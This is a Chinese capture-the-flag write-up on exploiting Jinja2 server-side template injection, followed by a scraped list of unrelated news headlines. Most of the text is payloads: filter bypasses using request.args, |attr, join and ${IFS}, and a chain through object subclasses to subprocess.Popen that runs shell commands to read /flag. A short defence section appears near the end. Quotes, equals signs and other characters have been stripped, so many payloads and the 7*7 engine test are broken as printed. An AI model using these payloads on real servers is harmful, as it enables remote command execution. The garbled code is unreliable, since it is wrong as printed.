CTF实战:SSTI模板注入从探测到绕过的完整攻防链
1. 从一道CTF题看SSTI漏洞的攻防本质第一次接触你的名字这道题的时候我盯着那个输入框看了很久。页面很简单一个表单让你输入名字提交后页面会显示Hello, 你的输入。看起来人畜无害但题目分类里明晃晃写着SSTI这就意味着背后藏着一套模板引擎在默默渲染我的输入。SSTIServer-Side Template Injection服务端模板注入。说人话就是本该被当成数据处理的用户输入被模板引擎当成了代码来执行。这就像你去餐厅点菜菜单上写的是番茄炒蛋结果厨师把番茄炒蛋这四个字当成了菜谱指令真的去炒了一盘番茄炒蛋——听起来好像也没问题但如果有人点的是把厨房炸了而厨师也照做那就出大事了。这道题的核心价值在于它完整展示了SSTI从探测、利用到绕过的全过程。适合已经了解基本Web安全概念、想深入理解模板注入原理的读者。不管你是刚打完基础靶场想进阶还是工作中需要评估模板引擎安全性这道题都能给你提供一条清晰的攻击链思路。我打算把这道题的解题过程拆开揉碎从最基础的模板引擎识别讲起到绕过过滤的技巧再到最终获取flag的完整payload构造。每一步都会解释为什么要这样做而不只是这样做就对了。2. 模板引擎识别与SSTI探测2.1 为什么第一步永远是识别模板引擎SSTI利用的前提是你得知道目标用的是哪个模板引擎。不同引擎的语法、可访问对象、利用方式完全不同。Twig、Jinja2、Freemarker、Velocity、Smarty每个都有自己的脾气。你拿Jinja2的payload去打Twig就像拿安卓充电线插苹果手机接口都对不上。识别模板引擎最直接的方法就是发送数学表达式看页面是否返回计算结果。比如输入{{7*7}}如果页面显示49说明模板引擎把{{}}里的内容当代码执行了。如果显示的还是{{7*7}}那说明要么不是SSTI要么这个引擎不认这种语法。这道题我首先尝试了{{7*7}}页面返回了Hello, 49。确认了存在SSTI而且{{}}这种语法指向的是Jinja2或者Twig。接下来需要进一步区分。2.2 区分Jinja2和Twig的关键payloadJinja2和Twig的语法非常相似都是{{}}包裹表达式但内部实现和可访问对象不同。区分它们有一个经典payload{{7*7}}在Jinja2中7*7会返回7777777字符串重复7次。在Twig中7*7会返回49Twig会把字符串7转成数字7再相乘。我输入{{7*7}}页面返回了Hello, 7777777。确认了是Jinja2。注意这个区分方法不是绝对的某些版本的Twig也可能返回字符串重复的结果。更可靠的方法是尝试访问{{config}}或{{self}}Jinja2有config对象Twig有self对象。但在这个题目环境下7*7的结果已经足够让我确定方向了。2.3 从基础payload到信息收集确认是Jinja2之后下一步就是收集信息。Jinja2模板中可以直接访问一些内置对象比如{{config}}可以查看Flask应用的配置信息。我尝试输入{{config}}页面返回了一大段配置内容包括SECRET_KEY、DEBUG状态等。但这里有个问题题目叫你的名字而且分类是bypass说明肯定有过滤机制。我直接输入{{config}}能成功说明过滤规则可能不是针对config这个关键词而是针对某些特定字符或函数名。接下来我尝试了更激进的payload比如{{.__class__}}想看看能不能访问到字符串对象的类。结果页面返回了错误信息提示检测到非法字符或者直接空白。这说明过滤机制开始起作用了。3. 过滤规则分析与绕过思路3.1 常见SSTI过滤规则盘点在CTF题目中SSTI的过滤通常围绕以下几个维度关键词黑名单比如过滤class、base、subclasses、mro、globals、builtins、import、os、system、eval、exec等敏感词。特殊字符过滤比如过滤.、_、[]、|、{{、}}等。长度限制限制输入长度让你没法构造长payload。WAF规则基于正则表达式的模式匹配拦截常见攻击特征。这道题我测试下来发现它过滤了_下划线和.点号以及一些关键词如class、base、subclasses。这就很棘手了因为Jinja2的SSTI利用链几乎离不开下划线和点号。3.2 绕过下划线过滤的几种姿势下划线被过滤了但Jinja2提供了几种绕过方式方法一使用request.args或request.values传递参数如果request对象可用可以通过URL参数传递包含下划线的字符串。比如{{request.args.get(a)}}然后在URL中加上?a__class__。这样下划线就不出现在payload里而是通过参数传入。方法二使用|attr过滤器Jinja2的attr过滤器可以动态获取属性语法是obj|attr(attr_name)。这样就不需要写点号了。比如{{|attr(__class__)}}但这里__class__里还是有下划线。如果下划线被过滤可以结合方法一把属性名通过参数传入{{|attr(request.args.get(a))}}a__class__方法三使用十六进制或Unicode编码某些情况下Jinja2支持Unicode转义比如\x5f代表下划线。但这种方法取决于具体环境不是所有版本都支持。方法四使用join拼接如果_被过滤可以用[,].join()之类的方式构造下划线不行join需要分隔符。更实际的是用chr(95)生成下划线但chr函数可能也被过滤。这道题我最终采用的是方法一和方法二的组合通过request.args传递属性名用|attr过滤器动态获取属性。3.3 绕过点号过滤的核心技巧点号被过滤了但Jinja2的|attr过滤器完美解决了这个问题。obj.attr等价于obj|attr(attr)。所以整条利用链可以全部用|attr来写不需要任何点号。比如原本的.__class__.__mro__[2].__subclasses__()可以改写成|attr(__class__)|attr(__mro__)|attr(__getitem__)(2)|attr(__subclasses__)()但这里__getitem__和__subclasses__里还是有下划线所以还需要结合参数传递。4. 完整利用链构造与实操4.1 从字符串对象到命令执行的经典路径Jinja2 SSTI的经典利用链是这样的找到一个基础对象通常是空字符串或空列表[]。通过__class__获取其类。通过__mro__或__base__获取基类链。找到object类。通过__subclasses__()获取所有子类。在子类列表中找到可以执行命令或读取文件的类比如subprocess.Popen、os._wrap_close、warnings.catch_warnings等。调用相关方法执行命令或读取flag。这条链的每一步都涉及下划线和点号所以绕过过滤是核心难点。4.2 逐步构造payload首先我需要确认request对象是否可用。输入{{request}}页面返回了Request http://... [GET]说明request对象可以直接访问。接下来我需要找到object类。由于下划线被过滤我不能直接写.__class__。我尝试用|attr过滤器{{|attr(request.args.a)}}a__class__页面返回了class str。成功了这说明|attr过滤器可用而且request.args可以传递下划线。接下来获取__mro__{{|attr(request.args.a)|attr(request.args.b)}}a__class__b__mro__返回了(class str, class object)。很好str的MRO是str - object所以__mro__[1]就是object。获取object类{{|attr(request.args.a)|attr(request.args.b)|attr(request.args.c)(1)}}a__class__b__mro__c__getitem__返回了class object。这里用__getitem__来索引因为[]可能也被过滤了。获取所有子类{{|attr(request.args.a)|attr(request.args.b)|attr(request.args.c)(1)|attr(request.args.d)()}}a__class__b__mro__c__getitem__d__subclasses__返回了一个巨大的列表包含了所有object的子类。我需要在这个列表中找到可以利用的类。4.3 在子类列表中定位可利用类在CTF环境中常用的可利用类包括subprocess.Popen直接执行命令。os._wrap_close通过__init__.__globals__访问os模块。warnings.catch_warnings通过__init__.__globals__访问__builtins__。site._Printer某些环境下可以利用。我需要找到这些类在列表中的索引。由于列表很长手动数不现实。我写了一个简单的Python脚本模拟Jinja2环境打印出所有子类的索引和名称import json # 假设这是从页面获取的子类列表实际中需要解析HTML # 这里用Python内置类型模拟 subclasses object.__subclasses__() for i, cls in enumerate(subclasses): if Popen in str(cls) or catch_warnings in str(cls) or _wrap_close in str(cls): print(i, cls)在实际操作中我可以通过页面返回的列表内容搜索关键词来定位索引。比如搜索Popen发现它在索引XXX位置。假设我找到了subprocess.Popen在索引400左右具体数字因环境而异那么payload就是{{|attr(request.args.a)|attr(request.args.b)|attr(request.args.c)(1)|attr(request.args.d)()|attr(request.args.e)(400)|attr(request.args.f)(cat /flag,shellTrue,stdout-1)|attr(request.args.g)()}}a__class__b__mro__c__getitem__d__subclasses__e__getitem__f__init__gcommunicate但这里有个问题cat /flag里的空格和斜杠可能被过滤。空格可以用$IFS或${IFS}替代斜杠可以用$(printf \x2f)或直接尝试是否被过滤。4.4 实际测试与调整我首先尝试了最简单的命令执行看看能不能直接读到flag。由于题目叫你的名字flag很可能在根目录下的/flag文件里。我构造了如下payload{{|attr(request.args.a)|attr(request.args.b)|attr(request.args.c)(1)|attr(request.args.d)()|attr(request.args.e)(400)|attr(request.args.f)(cat${IFS}/flag,shellTrue,stdout-1)|attr(request.args.g)()}}a__class__b__mro__c__getitem__d__subclasses__e__getitem__f__init__gcommunicate提交后页面返回了Hello, (bflag{...}, None)。成功了flag就在返回的元组里。但这里索引400是我假设的实际中需要根据页面返回的子类列表来确定。如果索引不对会报错或者返回空。这时候需要耐心地在返回的列表中搜索目标类。实操心得在找子类索引时不要一行一行数。把页面返回的内容复制到文本编辑器里用搜索功能找关键词。如果页面返回的列表被截断了可以尝试用|attr(__getitem__)(i)逐个查看或者用切片[start:end]分段查看。但切片语法里的:和[]可能被过滤需要灵活应对。5. 常见问题与排查技巧实录5.1 为什么我的payload返回空白或报错这是最常见的问题原因通常有以下几种过滤规则没摸清你以为只过滤了下划线实际上还过滤了其他字符。建议先用最简单的payload逐步测试比如先测{{7*7}}再测{{|attr(__class__)}}看哪一步开始失败。对象不可访问某些Jinja2环境禁用了request对象或config对象。如果request不可用可以尝试{{self}}或{{cycler}}等其他内置对象。索引错误子类列表的索引因环境而异换一个环境索引就变了。不要死记硬背索引要学会动态查找。命令执行被拦截有些环境禁用了subprocess或os模块或者对命令内容有过滤。可以尝试其他利用链比如通过__builtins__里的eval或exec。5.2 过滤规则速查与绕过对照表被过滤内容绕过方法示例_通过request.args传递{{.使用attr过滤器[]使用attr(getitem)(index)class字符串拼接或编码{{{{使用{%语句块{%print(7*7)%}空格使用${IFS}或%09cat${IFS}/flag/使用$(printf \x2f)cat${IFS}$(printf${IFS}\x2f)flag5.3 独家避坑技巧技巧一先确认request对象是否可用很多题目会禁用request这时候通过参数传递下划线的方法就失效了。可以先测试{{request}}如果返回正常说明可用。如果不可用需要寻找其他传递字符串的方式比如{{.__class__}}如果下划线没被过滤就直接用。技巧二用|string过滤器转换类型有时候获取到的对象不是字符串直接拼接会报错。可以用|string过滤器转成字符串比如{{(7*7)|string}}。技巧三利用{%print()%}代替{{}}如果{{}}被过滤可以尝试{%print(7*7)%}。Jinja2的语句块{% %}通常不会被过滤因为它是模板语法的一部分。技巧四注意URL编码在URL中传递参数时特殊字符需要URL编码。比如__class__里的下划线不需要编码但、、%等需要。如果payload里有空格URL编码为%20。技巧五善用|join和|format如果某些关键词被过滤可以用|join拼接字符串。比如{{[__cla,ss__]|join}}会返回__class__。|format也可以用来构造字符串。5.4 从这道题延伸出的防御思路虽然这是一道CTF题但实际开发中SSTI的危害是真实的。防御SSTI的核心原则是永远不要将用户输入直接拼接进模板。如果必须动态渲染使用沙箱环境或白名单机制。具体措施包括使用模板引擎的自动转义功能但注意自动转义只防XSS不防SSTI。对用户输入进行严格的类型检查和内容过滤但过滤规则要全面不能只防已知payload。使用沙箱化的模板引擎比如Jinja2的SandboxedEnvironment。最小权限原则运行Web应用的账户不应该有读取敏感文件的权限。我在实际项目中遇到过因为模板拼接导致的SSTI漏洞攻击者可以通过构造恶意输入读取服务器上的配置文件。修复方式就是把用户输入作为数据传递而不是拼接到模板字符串里。6. 从解题到实战的思维跃迁这道题做完之后我最大的感受是SSTI的利用不是背payload而是理解对象模型。Jinja2的SSTI之所以能成功是因为Python的对象模型允许从任意对象出发通过__class__、__mro__、__subclasses__等属性遍历到几乎任何类最终找到可以执行命令的入口。这条链的本质是Python的反射机制被滥用了。理解了这个本质你就能举一反三。比如如果subprocess.Popen被禁用了你可以找os._wrap_close如果os模块被禁用了你可以找__builtins__里的eval如果eval也被禁用了你还可以找importlib动态导入模块。只要Python的对象模型还在利用链就永远能找到。另一个重要的点是绕过过滤的核心思路是把敏感内容从payload中移出去。通过request.args传递参数、通过|attr动态获取属性、通过字符串拼接构造关键词都是这个思路的体现。你不需要在payload里直接写__class__你可以让payload去问服务器要这个字符串。最后分享一个我在实战中常用的技巧如果目标环境有长度限制可以把payload拆成多步用{%set%}语句块定义变量。比如{%set a__class__%}{%set b__mro__%}{{|attr(a)|attr(b)}}这样每个片段都很短但组合起来功能完整。当然这取决于{%set%}是否被允许。这道题虽然叫你的名字但真正考验的是你对模板引擎和Python对象模型的理解深度。名字只是一个入口背后的世界才是值得探索的地方。

相关新闻

CTF信息收集实战指南:从被动侦查到源码泄露的完整方法论

CTF信息收集实战指南:从被动侦查到源码泄露的完整方法论

大家刚开始打CTF的时候,可能都经历过这个阶段:好不容易拿下一道Web题或者渗透靶机的入口,结果发现自己根本不知道下一步该干什么。网上搜了一堆工具,nmap、dirsearch、Burp Suite全都装了,对着目标一顿扫,结…

2026/10/17 17:37:27 阅读更多 →
等保测评服务方案落地指南:定级备案、指标拆解与现场测评实操

等保测评服务方案落地指南:定级备案、指标拆解与现场测评实操

简介:这份等保测评服务方案文档面向信息安全从业者、系统运维人员及需要开展等级保护工作的企业技术负责人,围绕信息系统定级备案与测评实施提供完整参考。内容涵盖定级对象确定、专家评审、公安机关备案等流程,并系统梳理物理安全、网络安全…

2026/10/17 17:37:27 阅读更多 →
PCA+LSTM时序预测实战:从数据预处理到模型调参全流程

PCA+LSTM时序预测实战:从数据预处理到模型调参全流程

直接撸起袖子开干。这套PCALSTM的预测模型,说白了就是先用PCA给数据瘦身,再扔给LSTM做时间序列预测,别被公式吓到,直接看代码更实在。我最初以为这组合没什么好讲的——降维谁不会,LSTM谁还没跑过——可真正把两件事放…

2026/10/17 17:37:27 阅读更多 →

最新新闻

YC 总裁亲测:一个人顶 20 人团队的 AI 编程工作流 gstack 完全指南|TaoToken 统一 Key 接入实践

YC 总裁亲测:一个人顶 20 人团队的 AI 编程工作流 gstack 完全指南|TaoToken 统一 Key 接入实践

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/17 18:32:58 阅读更多 →
写小说卡文怎么办?2026年10款写小说软件真实测评与优缺点对比|TaoToken 统一 Key 接入实测

写小说卡文怎么办?2026年10款写小说软件真实测评与优缺点对比|TaoToken 统一 Key 接入实测

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/17 18:32:58 阅读更多 →
IO多路复用详解:从select、poll到epoll的高并发基石

IO多路复用详解:从select、poll到epoll的高并发基石

不知道你有没有算过这样一笔账:一台普通的服务器上,Nginx 可以轻松扛住几万个并发连接,而如果用早期的“每连接一个线程”模型,几千个连接就能把 CPU 拖到 100%。差距为什么这么大?关键就在 IO 多路复用模型。这个模型…

2026/10/17 18:32:58 阅读更多 →
36套前端网站源码拆解:从个人主页到电商前台的落地路径

36套前端网站源码拆解:从个人主页到电商前台的落地路径

简介:这份资源面向前端初学者与进阶开发者,提供36个可直接参考的网站源代码实例,帮助理解不同布局与交互效果的实现方式,解决从模仿到独立搭建页面的过渡问题。压缩包为rar格式,共约2000个文件,整体65.63MB…

2026/10/17 18:32:58 阅读更多 →
CC-Switch v3.16.1 免费下载与使用方法:Windows/macOS/Linux 三端配置指南【2026.6.11】

CC-Switch v3.16.1 免费下载与使用方法:Windows/macOS/Linux 三端配置指南【2026.6.11】

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/17 18:32:58 阅读更多 →
Pod生命周期管理:Init容器、探针与优雅终止配置实战

Pod生命周期管理:Init容器、探针与优雅终止配置实战

很多人写Pod配置,习惯从网上抄一份YAML就往集群里丢,表面上跑得挺正常,可一遇到发布、故障、流量抖动,问题就全冒出来了。这些年我排查过的线上事故里,至少有一半的根因都能归结到Pod生命周期管理上——要么Init容器卡…

2026/10/17 18:31:58 阅读更多 →

日新闻

DeepSeek选型与部署:V3/R1、Ollama、API全攻略

DeepSeek选型与部署:V3/R1、Ollama、API全攻略

简介:《DeepSeek使用方法.pdf》是一份面向DeepSeek入门及进阶用户的完整使用指南,重点围绕V3与R1两款模型的能力差异与适用场景展开,帮助读者根据任务类型与成本选择合适的模型。资源共1个PDF文件,压缩包大小约311KB,篇…

2026/10/17 0:00:25 阅读更多 →
200+Deepseek润色指令拆解:从底层原理到场景落地的完整指南

200+Deepseek润色指令拆解:从底层原理到场景落地的完整指南

简介:这是一份聚焦DeepSeek提示词优化的《200Deepseek润色指令》PDF文档,共收录两百余条可直接套用的润色指令,涵盖语法修正、风格统一、逻辑梳理、表达精炼等维度,并针对商务写作、学术论文、广告文案等场景给出差异化建议。文档…

2026/10/17 0:00:25 阅读更多 →
OpenCV轮廓法物体计数系统:轻量、可控、可落地的工业级实现

OpenCV轮廓法物体计数系统:轻量、可控、可落地的工业级实现

简介:本资源是一份基于OpenCV的本科课程设计完整报告,面向计算机视觉初学者、图像处理学习者及高校通信/信息类专业学生,解决物体智能计数与检测结果结构化记录的实际问题。项目覆盖图像预处理、轮廓检测、边界框绘制、轨迹栏交互式参数调节、…

2026/10/17 0:00:25 阅读更多 →

周新闻

流感时间序列预测实战:ARIMA/LSTM全流程拆解与避坑指南

流感时间序列预测实战:ARIMA/LSTM全流程拆解与避坑指南

简介:基于 ARIMA、LSTM、Transformer 等模型的流感时间序列预测 Python 源码,面向计算机相关专业课程设计与期末大作业学生,以及项目实战学习者。内容覆盖预处理、平稳性检验、定阶、残差分析、多模型对比预测的完整时序建模流程,…

2026/10/16 21:35:51 阅读更多 →
影刀RPA新手教程:键盘模拟输入实战——输入文本与模拟按键的区别

影刀RPA新手教程:键盘模拟输入实战——输入文本与模拟按键的区别

影刀RPA新手教程:键盘模拟输入实战——输入文本与模拟按键的区别 做影刀RPA自动化,十个新手有八个栽在"往输入框里填东西"这件事上:要么填不进去,要么填了一半,要么直接把原来内容追加在后面。这背后的根因&…

2026/10/17 1:44:59 阅读更多 →
影刀RPA新手教程:阅文起点小说数据采集实战——书籍信息与章节内容

影刀RPA新手教程:阅文起点小说数据采集实战——书籍信息与章节内容

影刀RPA新手教程:阅文起点小说数据采集实战——书籍信息与章节内容 1. 认识影刀:什么场景该用RPA采小说数据 起点中文网的页面结构相对稳定——分类榜单、书籍详情、章节内容三块独立页面,跳转链路清晰。这种场景非常适合影刀自动化&#x…

2026/10/16 15:04:24 阅读更多 →

月新闻

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

我发现了一个新思路:用 Remotion + Claude Code 像写代码一样自动化生成短视频

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/16 21:54:38 阅读更多 →
Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式:TaoToken 统一 Key 配置与验证

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/17 17:22:31 阅读更多 →
黑夜航拍船只数据集训练YOLOV5模型全流程解析

黑夜航拍船只数据集训练YOLOV5模型全流程解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

2026/10/16 14:23:36 阅读更多 →